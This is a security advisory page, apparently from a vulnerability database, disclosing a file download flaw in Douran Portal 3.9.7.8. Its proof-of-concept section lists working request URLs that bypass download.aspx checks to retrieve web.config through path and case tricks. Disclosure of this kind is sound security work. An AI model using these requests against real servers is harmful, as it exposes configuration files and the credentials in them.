Douran Portal File Download/Source Code Disclosure Vulnerability

2011.04.07
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Title: [Douran Portal File Download/Source Code Disclosure Vulnerability] # Date of Publishing: [16 March 2010] # Application Name: [Douran Portal] # Version: [3.9.7.8] # Impact: [Medium] # Vendor: www.douran.com # Link: http://douran.com/HomePage.aspx?TabID=4862 # Vendor Response(s): They didn't respond to the emails. # Credit to: AJAX Security Team # Finder(s): - HUrr!c4nE! (bl4ck.k3yv4n [at] yahoo [dot] com) (ajaxtm.com) - Soroush Dalili (Irsdl [at] yahoo [dot] com) (secproject.com) # Description: Regarding attack technique [1], it is possible to bypass the security protections of ?/download.aspx? in Douran Portal and download the hosted files. # PoC(s): Try this first and see the access denied error: http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config&O riginalAttachFileName=secretfile.txt Now try these to bypass it: http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config\. &OriginalAttachFileName=secretfile.txt http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config%2 0&OriginalAttachFileName=secretfile.txt http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=wEB.CoNfiG&O riginalAttachFileName=secretfile.txt # Reference: [1] Unrestricted File Download V1.0 ? Windows Server, (URL: http://soroush.secproject.com/blog/2011/01/unrestricted_file_download_v1 _0/) # Important Notes: - Vendor did not respond to the email as well as the phone. As there is not any contact form or email address in the website, we have used all the emails which had been found by searching in Google such as support, info, and so on.

References:

http://xforce.iss.net/xforce/xfdb/66177
http://www.securityfocus.com/bid/46927
http://www.securityfocus.com/archive/1/archive/1/517085/100/0/threaded
http://www.exploit-db.com/exploits/17011
http://soroush.secproject.com/blog/2011/01/unrestricted_file_download_v1_0/
http://secunia.com/advisories/43792
http://osvdb.org/71250


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top